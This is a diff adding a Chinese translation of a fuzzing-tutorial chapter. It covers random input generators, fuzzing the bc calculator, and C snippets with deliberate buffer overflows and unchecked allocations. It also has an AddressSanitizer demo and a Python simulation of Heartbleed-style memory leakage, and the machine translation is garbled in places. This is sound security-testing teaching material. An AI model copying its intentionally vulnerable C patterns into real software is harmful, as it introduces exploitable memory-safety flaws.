index 0000000000000000000000000000000000000000..da2c5bfc5964a3f2b243f8d6e3e33d768cfbd716
--- /dev/null
+++ b/new/fuzzing-book-zh/8.md
@@ -0,0 +1,1384 @@
+# 模糊测试：使用随机输入打破事物
+
+> 原文： [https://www.fuzzingbook.org/html/Fuzzer.html](https://www.fuzzingbook.org/html/Fuzzer.html)
+
+在本章中，我们将从最简单的测试生成技术之一开始。 随机文本生成（也称为*模糊测试*）的关键思想是将*随机字符字符串*馈入程序，以期发现故障。
+
+**前提条件**
+
+*   您应该了解软件测试的基础知识； 例如，从[一章“软件测试简介”](Intro_Testing.html) 中。
+*   您应该对Python有一定的了解； 例如，来自 [Python教程](https://docs.python.org/3/tutorial/)。
+
+我们可以使这些先决条件明确。 首先，我们将导入在笔记本中工作所需的标准软件包。
+
+```py
+import [fuzzingbook_utils](https://github.com/uds-se/fuzzingbook/tree/master/notebooks/fuzzingbook_utils)
+
+```
+
+现在，我们显式导入（因此需要）上一章。
+
+```py
+import [Intro_Testing](Intro_Testing.html)
+
+```
+
+## 内容提要
+
+要使用本章中提供的代码来[，请编写](Importing.html)
+
+```py
+>>> from [fuzzingbook.Fuzzer](Fuzzer.html) import <identifier>
+
+```
+
+然后利用以下功能。
+
+本章提供了两个重要的类，它们在 [A Fuzzing Architecture](#A-Fuzzing-Architecture) 中进行了介绍：
+
+*   `Fuzzer`作为模糊器的基础类； 和
+*   `Runner`作为被测程序的基类。
+
+### 模糊器
+
+`Fuzzer`是模糊器的基类，`RandomFuzzer`是简单的实例。 `Fuzzer`对象的`fuzz()`方法返回具有生成的输入的字符串。
+
+```py
+>>> random_fuzzer = RandomFuzzer()
+>>> random_fuzzer.fuzz()
+'%$<1&<%+=!"83?+)9:++9138 42/ "7;0-,)06 "1(2;6>?99$%7!!*#96=>2&-/(5*)=$;0$$+;<12"?30&'
+
+```
+
+`RandomFuzzer()`构造函数允许指定许多关键字参数：
+
+```py
+>>> print(RandomFuzzer.__init__.__doc__)
+Produce strings of `min_length` to `max_length` characters
+           in the range [`char_start`, `char_start` + `char_range`]
+
+>>> random_fuzzer = RandomFuzzer(min_length=10, max_length=20, char_start=65, char_range=26)
+>>> random_fuzzer.fuzz()
+'XGZVDDPZOOW'
+
+```
+
+### 跑步者
+
+`Fuzzer`可以与`Runner`配对，后者将模糊的字符串作为输入。 其结果是特定于类别的*状态*和*结果*（`PASS`，`FAIL`或`UNRESOLVED`）。 `PrintRunner`会简单地打印出给定的输入并返回`PASS`结果：
+
+```py
+>>> print_runner = PrintRunner()
+>>> random_fuzzer.run(print_runner)
+EQYGAXPTVPJGTYHXFJ
+
+('EQYGAXPTVPJGTYHXFJ', 'UNRESOLVED')
+
+```
+
+`ProgramRunner`将产生的输入馈入外部程序。 其结果是一对程序状态（一个`CompletedProcess`实例）和一个*结果*（`PASS`，`FAIL`或`UNRESOLVED`）：
+
+```py
+>>> cat = ProgramRunner('cat')
+>>> random_fuzzer.run(cat)
+(CompletedProcess(args='cat', returncode=0, stdout='BZOQTXFBTEOVYX', stderr=''),
+ 'PASS')
+
+```
+
+## 测试分配
+
+模糊测试诞生于“ 1988年秋天的黑暗和暴风雨的夜晚”中[ [Takanen *等人*，2008年。](http://us.artechhouse.com/Fuzzing-for-Software-Security-Testing-and-Quality-Assurance-Second-Edition-P1930.aspx)。 巴顿·米勒教授坐在麦迪逊威斯康星州的公寓里，通过一条1200波特的电话线连接到他的大学计算机。 雷暴在线路上造成噪音，而该噪音又导致两端的UNIX命令获得错误的输入并崩溃。 频繁的崩溃让他感到惊讶-当然，程序应该比这更强大吗？ 作为一名科学家，他想调查问题的严重程度及其原因。 因此，他为威斯康星大学麦迪逊分校的学生编写了*编程练习*-该练习将使他的学生创建第一个模糊测试器。
+
+这是[分配](http://pages.cs.wisc.edu/~bart/fuzz/CS736-Projects-f1988.pdf)的读取方式：
+
+> 在给定不可预测的输入流的情况下，该项目的目标是评估各种UNIX实用程序的健壮性。 [...]首先，您将构建一个*模糊生成器*。 这是一个将输出随机字符流的程序。 其次，您将使用模糊发生器，并使用它来攻击尽可能多的UNIX实用程序，以试图破坏它们。
+
+该任务捕获了模糊测试的本质：*创建随机输入，并查看它们是否破坏东西。* 只要让它运行足够长的时间，您就会看到。
+
+## 一个简单的Fuzzer
+
+让我们尝试完成此任务并构建一个模糊生成器。 这个想法是产生随机字符，将它们添加到缓冲区字符串变量（`out`），最后返回字符串。
+
+此实现使用以下Python功能和特性：
+
+*   `random.randrange(start, end)` –返回随机数$ [$ `start`，`end` $）$
+*   `range(start, end)` –创建一个范围为$ [$ `start`，`end` $）$的整数列表。 通常在迭代中使用。
+*   `for elem in list: body` –循环执行`body`，其中`elem`从`list`中获取每个值。
+*   `for i in range(start, end): body` –用`i`从`start`到`end` $-$循环执行`body`。
+*   `chr(n)` –返回带有ASCII码`n`的字符
+
+要使用随机数，我们必须导入相应的模块。
+
+```py
+import [random](https://docs.python.org/3/library/random.html)
+
+```
+
+这里是实际的`fuzzer()`功能。
+
+```py
+def fuzzer(max_length=100, char_start=32, char_range=32):
+    """A string of up to `max_length` characters
+ in the range [`char_start`, `char_start` + `char_range`]"""
+    string_length = random.randrange(0, max_length + 1)
+    out = ""
+    for i in range(0, string_length):
+        out += chr(random.randrange(char_start, char_start + char_range))
+    return out
+
+```
+
+使用其默认参数，`fuzzer()`函数返回一串随机字符：
+
+```py
+fuzzer()
+
+```
+
+```py
+'!7#%"*#0=)$;%6*;>638:*>80"=</>(/*:-(2<4 !:5*6856&?""11<7+%<%7,4.8,*+&,,$,."'
+
+```
+
+巴特·米勒（Bart Miller）创造了“模糊”一词作为此类随机，非结构化数据的名称。 现在想象一下这个``模糊''字符串是期望特定输入格式的程序的输入-例如，用逗号分隔的值列表或电子邮件地址。 程序是否可以毫无问题地处理这样的输入？
+
+如果上述模糊输入已经很吸引人，请考虑可以轻松设置模糊以产生其他类型的输入。 例如，我们也可以让`fuzzer()`产生一系列小写字母。 我们使用`ord(c)`返回字符`c`的ASCII码。
+
+```py
+fuzzer(1000, ord('a'), 26)
+
+```
+
+```py
+'zskscocrxllosagkvaszlngpysurezehvcqcghygphnhonehczraznkibltfmocxddoxcmrvatcleysksodzlwmzdndoxrjfqigjhqjxkblyrtoaydlwwisrvxtxsejhfbnforvlfisojqaktcxpmjqsfsycisoexjctydzxzzutukdztxvdpqbjuqmsectwjvylvbixzfmqiabdnihqagsvlyxwxxconminadcaqjdzcnzfjlwccyudmdfceiepwvyggepjxoeqaqbjzvmjdlebxqvehkmlevoofjlilegieeihmetjappbisqgrjhglzgffqrdqcwfmmwqecxlqfpvgtvcddvmwkplmwadgiyckrfjddxnegvmxravaunzwhpfpyzuyyavwwtgykwfszasvlbwojetvcygectelwkputfczgsfsbclnkzzcjfywitooygjwqujseflqyvqgyzpvknddzemkegrjjrshbouqxcmixnqhgsgdwgzwzmgzfajymbcfezqxndbmzwnxjeevgtpjtcwgbzptozflrwvuopohbvpmpaifnyyfvbzzdsdlznusarkmmtazptbjbqdkrsnrpgdffemnpehoapiiudokczwrvpsonybfpaeyorrgjdmgvkvupdtkrequicexqkoikygepawmwsdcrhivoegynnhodfhryeqbebtbqnwhogdfrsrksntqjbocvislhgrgchkhpaiugpbdygwkhrtyniufabdnqhtnwreiascfvmuhettfpbowbjadfxnbtzhobnxsnf'
+
+```
+
+假设程序需要一个标识符作为其输入。 它会期望这么长的标识符吗？
+
+## 模糊外部程序
+
+让我们看看如果我们实际上使用模糊输入调用外部程序会发生什么。 为此，让我们分两步进行。 首先，我们创建带有模糊测试数据的*输入文件*； 然后我们将输入文件输入所选的程序中。
+
+### 创建输入文件
+
+让我们获取一个临时文件名，以免使文件系统混乱。
+
+```py
+import [os](https://docs.python.org/3/library/os.html)
+import [tempfile](https://docs.python.org/3/library/tempfile.html)
+
+```
+
+```py
+basename = "input.txt"
+tempdir = tempfile.mkdtemp()
+FILE = os.path.join(tempdir, basename)
+print(FILE)
+
+```
+
+```py
+/var/folders/n2/xd9445p97rb3xh7m1dfx8_4h0006ts/T/tmphvkaqy6w/input.txt
+
+```
+
+现在，我们可以打开该文件进行写入。 Python `open()`函数打开一个文件，然后我们可以在其中写入任意内容。 它通常与`with`语句结合使用，该语句可确保在不再需要该文件时立即将其关闭。
+
+```py
+data = fuzzer()
+with open(FILE, "w") as f:
+    f.write(data)
+
+```
+
+我们可以通过读取其内容来验证该文件是否实际上是创建的：
+
+```py
+contents = open(FILE).read()
+print(contents)
+assert(contents == data)
+
+```
+
+```py
+!6"*-2,$994,%*:"$25!2=!+!2#''6/3'4!6%7056'??2#7;75>27'15#-4.?*<?6&" !3'7-5>18%
+
+```
+
+### 调用外部程序
+
+现在我们有了输入文件，我们可以在其上调用程序。 有趣的是，让我们测试`bc`计算器程序，该程序采用算术表达式并对其求值。
+
+要调用`bc`，让我们使用Python `subprocess`模块。 这是这样的：
+
+```py
+import [os](https://docs.python.org/3/library/os.html)
+import [subprocess](https://docs.python.org/3/library/subprocess.html)
+
+```
+
+```py
+program = "bc"
+with open(FILE, "w") as f:
+    f.write("2 + 2\n")
+result = subprocess.run([program, FILE],
+                        stdin=subprocess.DEVNULL,
+                        stdout=subprocess.PIPE,
+                        stderr=subprocess.PIPE,
+                        universal_newlines=True)  # Will be "text" in Python 3.7
+
+```
+
+从`result`中，我们可以检查程序输出。 对于`bc`，这是对算术表达式求值的结果：
+
+```py
+result.stdout
+
+```
+
+```py
+'4\n'
+
+```
+
+我们还可以检查状态。 值为0表示程序正确终止。
+
+```py
+result.returncode
+
+```
+
+```py
+0
+
+```
+
+任何错误消息都可以在`results.stderr`中找到：
+
+```py
+result.stderr
+
+```
+
+```py
+''
+
+```
+
+实际上，您可以放入任何您喜欢的程序来代替`bc`。 但是请注意，如果您的程序能够更改甚至损坏系统，则模糊输入很可能包含精确执行此操作的数据或命令。
+
+只是为了好玩，想象一下您将测试一个文件删除程序。 模糊器产生有效文件名的机会是什么？ （请注意，`.`和`/`可能已经是有效的目录名称。）
+
+### 长时间运行的模糊测试
+
+现在让我们将大量输入提供给我们的测试程序，以查看它是否可能在某些程序上崩溃。 我们将所有结果存储在`runs`变量中，作为输入数据对和实际结果对。 （注意：运行此程序可能需要一段时间。）
+
+```py
+trials = 100
+program = "bc"
+
+runs = []
+
+for i in range(trials):
+    data = fuzzer()
+    with open(FILE, "w") as f:
+        f.write(data)
+    result = subprocess.run([program, FILE],
+                            stdin=subprocess.DEVNULL,
+                            stdout=subprocess.PIPE,
+                            stderr=subprocess.PIPE,
+                            universal_newlines=True)
+    runs.append((data, result))
+
+```
+
+现在，我们可以查询`runs`以获取一些统计信息。 例如，我们可以查询实际通过了多少次运行-也就是说，没有错误消息。 我们在此处使用*列表理解*：形式*表达式* `for` *元素* `in` *列表* `if` *条件[ 如果*条件*为true，则HTG14返回评估的*表达式*的列表，其中每个*元素*来自*列表*。 （实际上，列表推导返回一个*列表生成器*，但出于我们的目的，该生成器的行为类似于列表。）在这里，对于所有元素，其中*表达式*均为1，其中 *]* 条件成立，我们使用`sum()`对列表中的所有元素求和。*
+
+```py
+sum(1 for (data, result) in runs if result.stderr == "")
+
+```
+
+```py
+4
+
+```
+
+大多数输入显然是无效的-并不奇怪，因为随机输入不太可能包含有效的算术表达式。
+
+让我们看一下第一个错误消息：
+
+```py
+errors = [(data, result) for (data, result) in runs if result.stderr != ""]
+(first_data, first_result) = errors[0]
+
+print(repr(first_data))
+print(first_result.stderr)
+
+```
+
+```py
+'5*,55&8>"86,?"/7!1%5-**&-$&)$91;"21(\'8"(%$'
+/var/folders/n2/xd9445p97rb3xh7m1dfx8_4h0006ts/T/tmphvkaqy6w/input.txt 1: parse error
+/var/folders/n2/xd9445p97rb3xh7m1dfx8_4h0006ts/T/tmphvkaqy6w/input.txt 1: illegal character: &
+/var/folders/n2/xd9445p97rb3xh7m1dfx8_4h0006ts/T/tmphvkaqy6w/input.txt 1: parse error
+/var/folders/n2/xd9445p97rb3xh7m1dfx8_4h0006ts/T/tmphvkaqy6w/input.txt 1: illegal character: &
+/var/folders/n2/xd9445p97rb3xh7m1dfx8_4h0006ts/T/tmphvkaqy6w/input.txt 1: illegal character: $
+/var/folders/n2/xd9445p97rb3xh7m1dfx8_4h0006ts/T/tmphvkaqy6w/input.txt 1: illegal character: &
+/var/folders/n2/xd9445p97rb3xh7m1dfx8_4h0006ts/T/tmphvkaqy6w/input.txt 1: illegal character: $
+/var/folders/n2/xd9445p97rb3xh7m1dfx8_4h0006ts/T/tmphvkaqy6w/input.txt 1: parse error
+/var/folders/n2/xd9445p97rb3xh7m1dfx8_4h0006ts/T/tmphvkaqy6w/input.txt 1: illegal character: $
+
+```
+
+除了`illegal character`，`parse error`或`syntax error`之外，是否还运行其他消息？ （例如，类似`crash`或`you found a fatal bug`的东西？）不是很多：
+
+```py
+[result.stderr for (data, result) in runs if
+ result.stderr != ""
+ and "illegal character" not in result.stderr
+ and "parse error" not in result.stderr
+ and "syntax error" not in result.stderr]
+
+```
+
+```py
+[]
+
+```
+
+也许崩溃只是通过`bc`来指示。 不幸的是，返回码永远不会非零：
+
+```py
+sum(1 for (data, result) in runs if result.returncode != 0)
+
+```
+
+```py
+0
+
+```
+
+我们再让上面的`bc`测试运行怎么样？ 在运行的同时，让我们看一下1989年的技术水平。
+
+## 错误检测器查找
+
+当Miller和他的学生在1989年运行他们的第一个模糊器时，他们发现了一个令人震惊的结果：大约**三分之一的UNIX实用程序**遇到了问题–当遇到模糊的输入时，它们崩溃，挂起或以其他方式失败[ [Miller *等*，1990。](https://doi.org/10.1145/96267.96279)。 这也包括上面的`bc`程序。 （显然，这些错误现已修复！）
+
+考虑到这些UNIX实用程序中有许多都是在脚本中使用的，这些脚本也将处理网络输入，因此这是一个令人震惊的结果。 程序员迅速构建并运行了自己的模糊器，急于修复所报告的错误，并学会了不再信任外部输入。
+
+米勒的模糊实验发现了什么问题？ 事实证明，程序员在1990年犯的错误仍然与今天犯的错误相同。
+
+### 缓冲区溢出
+
+许多程序具有输入和输入元素的内置最大长度。 在像C这样的语言中，很容易超出这些长度，而无需程序（或程序员）甚至注意到，就触发了**缓冲区溢出**。 例如，以下代码即使`input`具有八个以上的字符，也很乐意将`input`字符串复制到`weekday`字符串中：
+
+```py
+char weekday[9]; // 8 characters + trailing '\0' terminator
+strcpy (weekday, input);
+
+```
+
+具有讽刺意味的是，如果`input`为`"Wednesday"`（9个字符），则此操作已失败； 任何多余的字符（此处为`'y'`和以下`'\0'`字符串终止符）都将被简单复制到`weekday`之后的内存中，从而触发任意行为； 也许是一些布尔字符变量，可以将其设置为`'n'`至`'y'`。 使用模糊测试，很容易产生任意长的输入和输入元素。
+
+我们可以在Python函数中轻松模拟这种缓冲区溢出行为：
+
+```py
+def crash_if_too_long(s):
+    buffer = "Thursday"
+    if len(s) > len(buffer):
+        raise ValueError
+
+```
+
+是的，它很快崩溃了。
+
+```py
+from [ExpectError](ExpectError.html) import ExpectError
+
+```
+
+```py
+trials = 100
+with ExpectError():
+    for i in range(trials):
+        s = fuzzer()
+        crash_if_too_long(s)
+
+```
+
+```py
+Traceback (most recent call last):
+  File "<ipython-input-23-f83db3d59a06>", line 5, in <module>
+    crash_if_too_long(s)
+  File "<ipython-input-21-928c2d2de976>", line 4, in crash_if_too_long
+    raise ValueError
+ValueError (expected)
+
+```
+
+上面代码中的`with ExpectError()`行可确保打印错误消息，但继续执行； 这是为了将其他代码示例中的“意外”错误与“意外”错误区分开。
+
+### 缺少错误检查
+
+许多编程语言没有例外，但是在特殊情况下，函数会返回特殊的**错误代码**。 例如，C函数`getchar()`通常从标准输入返回一个字符； 如果没有输入可用，它将返回特殊值`EOF`（文件末尾）。 现在假设程序员正在扫描输入中的下一个字符，并使用`getchar()`读取字符，直到读取空格为止：
+
+```py
+while (getchar() != ' ') {
+}
+
+```
+
+如果输入过早结束（如模糊测试完全可行），会发生什么情况？ 好吧，`getchar()`返回`EOF`，并在再次调用时继续返回`EOF`； 所以上面的代码只是进入一个无限循环。
+
+同样，我们可以模拟这种丢失的错误检查。 如果输入中没有空格，此函数将有效挂起：
+
+```py
+def hang_if_no_space(s):
+    i = 0
+    while True:
+        if i < len(s):
+            if s[i] == ' ':
+                break
+        i += 1
+
+```
+
+使用我们的[测试简介](Intro_Testing.html)中的超时机制，我们可以在一段时间后中断此功能。 是的，经过一些模糊的输入后，它确实挂起了。
+
+```py
+from [ExpectError](ExpectError.html) import ExpectTimeout
+
+```
+
+```py
+trials = 100
+with ExpectTimeout(2):
+    for i in range(trials):
+        s = fuzzer()
+        hang_if_no_space(s)
+
+```
+
+```py
+Traceback (most recent call last):
+  File "<ipython-input-26-8e40f7d62a1b>", line 5, in <module>
+    hang_if_no_space(s)
+  File "<ipython-input-24-5f437edacff4>", line 4, in hang_if_no_space
+    if i < len(s):
+  File "<ipython-input-24-5f437edacff4>", line 4, in hang_if_no_space
+    if i < len(s):
+  File "<string>", line 16, in check_time
+TimeoutError (expected)
+
+```
+
+上面代码中的`with ExpectTimeout()`行可确保在两秒钟后中断内含代码的执行，并打印错误消息。
+
+### 流氓编号
+
+通过模糊处理，很容易在输入中生成**罕见值**，从而引起各种有趣的行为。 再次考虑下面的C语言代码，该代码首先从输入中读取缓冲区大小，然后分配给定大小的缓冲区：
+
+```py
+char *read_input() {
+    size_t size = read_buffer_size();
+    char *buffer = (char *)malloc(size);
+    // fill buffer
+    return (buffer);
+}
+
+```
+
+如果`size`很大，超过了程序存储器，该怎么办？ 如果`size`少于后面的字符数会怎样？ 如果`size`为负会怎样？ 通过在此处提供随机数，模糊处理可以造成各种损害。
+
+同样，我们可以轻松地在Python中模拟此类流氓数字。 如果传递的值（字符串）在转换为整数后过大，则函数`collapse_if_too_large()`将失败。
+
+```py
+def collapse_if_too_large(s):
+    if int(s) > 1000:
+        raise ValueError
+
+```
+
+我们可以让`fuzzer()`创建一个数字字符串：
+
+```py
+long_number = fuzzer(100, ord('0'), 10)
+print(long_number)
+
+```
+
+```py
+7056414967099541967374507745748918952640135045
+
+```
+
+如果我们将这些数字输入`collapse_if_too_large()`，它将很快失败。
+
+```py
+with ExpectError():
+    collapse_if_too_large(long_number)
+
+```
+
+```py
+Traceback (most recent call last):
+  File "<ipython-input-29-7a1817f3dbfc>", line 2, in <module>
+    collapse_if_too_large(long_number)
+  File "<ipython-input-27-2c22a83a4dca>", line 3, in collapse_if_too_large
+    raise ValueError
+ValueError (expected)
+
+```
+
+如果我们真的想在系统上分配那么多的内存，那么让内存如上所述快速失败实际上是更好的选择。 实际上，内存不足可能会极大地减慢系统的运行速度，甚至导致它们完全无法响应–并且重启是唯一的选择。
+
+可能有人争辩说，这些都是不良编程或不良编程语言的问题。 但是，每天都有成千上万的人开始编程，甚至在今天，所有人都一次又一次地犯同样的错误。
+
+## 捕获错误
+
+当Miller和他的学生建造第一个模糊器时，他们可以仅仅因为程序崩溃或挂起就能识别错误-这两个条件很容易识别。 但是，如果故障更加微妙，我们需要进行其他检查。
+
+### 通用检查器
+
+如上文所讨论的，缓冲区溢出是一个更普遍问题的特定实例：在诸如C和C ++之类的语言中，程序可以访问其内存的任意部分-甚至包括那些未初始化，已经释放或已释放的部分。 根本不是您要访问的数据结构的一部分。 如果您要编写一个操作系统，这是必需的；如果要获得最大的性能或控制，那是非常好的，但是如果要避免错误，那是非常糟糕的。 幸运的是，有一些工具可以在运行时帮助捕获此类问题，并且与模糊测试结合使用时，它们非常有用。
+
+#### 检查内存访问
+
+为了在测试期间捕获有问题的内存访问，可以在特殊的*内存检查*环境中运行C程序； 在运行时，它们检查每个内存操作是否访问有效和初始化的内存。 一个流行的例子是 [LLVM Address Sanitizer](https://clang.llvm.org/docs/AddressSanitizer.html) ，它检测整套潜在的危险内存安全违规行为。 在下面的示例中，我们将使用此工具编译一个相当简单的C程序，并通过读取内存的已分配部分来引发越界读取。
+
+```py
+with open("program.c", "w") as f:
+    f.write("""
+#include <stdlib.h>
+#include <string.h>
+
+int main(int argc, char** argv) {
+ /* Create an array with 100 bytes, initialized with 42 */
+ char *buf = malloc(100);
+ memset(buf, 42, 100);
+
+ /* Read the N-th element, with N being the first command-line argument */
+ int index = atoi(argv[1]);
+ char val = buf[index];
+
+ /* Clean up memory so we don't leak */
+ free(buf);
+ return val;
+}
+ """)
+
+```
+
+```py
+from [fuzzingbook_utils](https://github.com/uds-se/fuzzingbook/tree/master/notebooks/fuzzingbook_utils) import print_file
+
+```
+
+```py
+print_file("program.c")
+
+```
+
+```py
+#include <stdlib.h>
+#include <string.h>
+
+int main(int argc, char** argv) {
+    /* Create an array with 100 bytes, initialized with 42 */
+    char *buf = malloc(100);
+    memset(buf, 42, 100);
+
+    /* Read the N-th element, with N being the first command-line argument */
+    int index = atoi(argv[1]);
+    char val = buf[index];
+
+    /* Clean up memory so we don't leak */
+    free(buf);
+    return val;
+}
+
+```
+
+我们在启用地址清理的情况下编译此C程序：
+
+```py
+!clang -fsanitize=address -g -o program program.c
+
+```
+
+如果我们使用参数`99`运行该程序，则它将返回`buf[99]`，即42。
+
+```py
+!./program 99; echo $?
+
+```
+
+```py
+42
+
+```
+
+但是，访问`buf[110]`会导致AddressSanitizer中出现越界错误。
+
+```py
+!./program 110
+
+```
+
+```py
+=================================================================
+==55061==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60b0000000ae at pc 0x00010bca1ea5 bp 0x7ffee3f5e4a0 sp 0x7ffee3f5e498 READ of size 1 at 0x60b0000000ae thread T0
+    #0 0x10bca1ea4 in main program.c:12
+    #1 0x7fff65c683d4 in start (libdyld.dylib:x86_64+0x163d4)
+
+0x60b0000000ae is located 10 bytes to the right of 100-byte region [0x60b000000040,0x60b0000000a4) allocated by thread T0 here:
+    #0 0x10bd06053 in wrap_malloc (libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x5c053)
+    #1 0x10bca1df4 in main program.c:7
+    #2 0x7fff65c683d4 in start (libdyld.dylib:x86_64+0x163d4)
+
+SUMMARY: AddressSanitizer: heap-buffer-overflow program.c:12 in main
+Shadow bytes around the buggy address:
+  0x1c15ffffffc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
+  0x1c15ffffffd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
+  0x1c15ffffffe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
+  0x1c15fffffff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
+  0x1c1600000000: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
+=>0x1c1600000010: 00 00 00 00 04[fa]fa fa fa fa fa fa fa fa fa fa
+  0x1c1600000020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
+  0x1c1600000030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
+  0x1c1600000040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
+  0x1c1600000050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
+  0x1c1600000060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
+Shadow byte legend (one shadow byte represents 8 application bytes):
+  Addressable:           00
+  Partially addressable: 01 02 03 04 05 06 07 
+  Heap left redzone:       fa
+  Freed heap region:       fd
+  Stack left redzone:      f1
+  Stack mid redzone:       f2
+  Stack right redzone:     f3
+  Stack after return:      f5
+  Stack use after scope:   f8
+  Global redzone:          f9
+  Global init order:       f6
+  Poisoned by user:        f7
+  Container overflow:      fc
+  Array cookie:            ac
+  Intra object redzone:    bb
+  ASan internal:           fe
+  Left alloca redzone:     ca
+  Right alloca redzone:    cb
+  Shadow gap:              cc
+==55061==ABORTING
+
+```
+
+如果您想在C程序中发现错误，则为模糊测试打开此类检查相当容易。 根据工具的不同，它会将执行速度降低一定程度（对于AddressSanitizer，通常为2 $ \ times $），并且还会消耗更多的内存，但是与人工发现这些bug相比，CPU周期非常便宜。
+
+对内存的越界访问具有很大的安全风险，因为它们可能使攻击者访问甚至修改并非针对他们的信息。 作为一个著名的例子， [HeartBleed错误](https://en.wikipedia.org/wiki/Heartbleed)是OpenSSL库中的安全错误，它实现了加密协议，该协议提供了计算机网络上的通信安全性。 （如果您在浏览器中阅读此文本，则可能已使用这些协议对其进行了加密。）
+
+通过向SSL *心跳*服务发送特制命令来利用HeartBleed错误。 心跳服务用于检查另一端的服务器是否仍在运行。 客户端会向服务发送一个字符串，例如
+
+```py
+BIRD (4 letters)
+```
+
+服务器将向其回复`BIRD`，并且客户端将知道该服务器处于活动状态。
+
+不幸的是，可以通过要求服务器以比请求的字母集多*的*答复来利用此服务。 在 [XKCD漫画](https://xkcd.com/1354/)中对此进行了很好的解释：**
+
+![XKCD Comic](img/a5babcd0c8a401dcb76d7c3072e63f4a.jpg)
+
+![XKCD Comic](img/6ab52416d92bf24ca8aae1d06d88d3a4.jpg)
+
+![XKCD Comic](img/cba71a9cfb53f58e722366cb73a70c64.jpg)
+
+在OpenSSL实现中，这些内存内容可能涉及加密证书，私钥等，而且更糟的是，没有人会注意到刚刚访问了该内存。 发现HeartBleed错误后，它已经存在了很多年，没有人会知道是否泄漏了哪些秘密；哪些秘密已经泄漏。 快速设置的 [HeartBleed公告页面](http://heartbleed.com/)就说明了一切。
+
+但是如何发现HeartBleed？ 很简单。 Codenomicon公司以及Google的研究人员都使用内存清理器编译了OpenSSL库，然后用模糊的命令高兴地将其淹没。 然后，内存清理程序会注意到是否发生了越界内存访问-实际上，它将很快发现这一点。
+
+内存检查器只是众多检查器之一，可在模糊检查期间运行该检查器以检测运行时错误。 在有关挖掘功能规范的[一章中，我们将了解有关如何定义通用检查器的更多信息。](DynamicInvariants.html)
+
+我们已经完成了`program`，所以我们清理一下：
+
+```py
+!rm -fr program program.*
+
+```
+
+#### 信息泄漏
+
+信息泄漏不仅可能通过非法内存访问而发生； 它们也可能出现在``有效''内存中-如果此``有效''内存包含不应泄漏的敏感信息。 让我们在Python程序中说明此问题。 首先，让我们创建一些程序存储器，其中填充了实际数据和随机数据：
+
+```py
+secrets = ("<space for reply>" + fuzzer(100)
+     + "<secret-certificate>" + fuzzer(100)
+     + "<secret-key>" + fuzzer(100) + "<other-secrets>")
+
+```
+
+我们向`secrets`添加更多“内存”字符，并用`"deadbeef"`填充作为未初始化内存的标记：
+
+```py
+uninitialized_memory_marker = "deadbeef"
+while len(secrets) < 2048:
+    secrets += uninitialized_memory_marker
+
+```
+
+我们定义了一个服务（类似于上面讨论的心跳服务），该服务将接收答复并发送回一个长度。 它会将要发送的回复存储在内存中，然后以给定的长度发送回去。
+
+```py
+def heartbeat(reply, length, memory):
+    # Store reply in memory
+    memory = reply + memory[len(reply):]
+
+    # Send back heartbeat
+    s = ""
+    for i in range(length):
+        s += memory[i]
+    return s
+
+```
+
+这非常适合标准字符串：
+
+```py
+heartbeat("potato", 6, memory=secrets)
+
+```
+
+```py
+'potato'
+
+```
+
+```py
+heartbeat("bird", 4, memory=secrets)
+
+```
+
+```py
+'bird'
+
+```
+
+但是，如果该长度大于应答字符串的长度，则会溢出其他内存内容。 请注意，所有这些仍然在常规数组范围内发生，因此不会触发地址清理器：
+
+```py
+heartbeat("hat", 500, memory=secrets)
+
+```
+
+```py
+'hatace for reply>#,,!3?30>#61)$4--8=<7)4 )03/%,5+! "4)0?.9+?3();<42?=?0<secret-certificate>7(+/+((1)#/0\'4!>/<#=78%6$!!$<-"3"\'-?1?85!05629%/); *)1\'/=9%<secret-key>.(#.4%<other-secrets>deadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadb'
+
+```
+
+一个人如何发现此类问题？ 这个想法是要识别不应该泄漏的信息，例如给定的机密，以及未初始化的内存。 我们可以在一个小的Python示例中模拟这样的检查：
+
+```py
+from [ExpectError](ExpectError.html) import ExpectError
+
+```
+
+```py
+with ExpectError():
+    for i in range(10):
+        s = heartbeat(fuzzer(), random.randint(1, 500), memory=secrets)
+        assert not s.find(uninitialized_memory_marker)
+        assert not s.find("secret")
+
+```
+
+```py
+Traceback (most recent call last):
+  File "<ipython-input-44-b7e8a1210599>", line 4, in <module>
+    assert not s.find(uninitialized_memory_marker)
+AssertionError (expected)
+
+```
+
+通过这种检查，我们发现机密和/或未初始化的内存确实泄漏了。 在有关信息流的[一章中，我们将讨论如何自动执行此操作，“污染”敏感信息及其衍生的值，并确保“污染”的值不会泄漏出去。](InformationFlow.html)
+
+根据经验，在进行模糊测试时，应始终*启用尽可能多的自动检查器*。 CPU周期便宜，错误也很昂贵。 如果只执行该程序而没有实际检测错误的选项，那么您将失去几个机会。
+
+### 程序特定的检查器
+
+除了适用于给定平台或给定语言的*所有*程序的通用检查器之外，您还可以设计适用于您的程序或子系统的*特定*检查器。 在有关测试的[一章中，我们已经暗示了](Intro_Testing.html)[运行时验证](Intro_Testing.html#Runtime-Verification)的技术，该技术在运行时检查函数结果的正确性。
+
+尽早发现错误的一个关键思想是*断言*的概念–用来检查重要功能的输入（前提）和结果（前提条件）的谓词。 程序中的断言越多，执行过程中检测到一般检查程序无法检测到的错误的机会就越高，尤其是在模糊测试期间。 如果您担心断言对性能的影响，请记住可以在生产代码中关闭断言（尽管将最关键的检查保持活动状态会有所帮助）。
+
+断言查找错误最重要的用途之一是*检查复杂数据结构的完整性。* 让我们用一个简单的例子来说明这个概念。 假设我们有一个机场代码到机场的映射，如
+
+```py
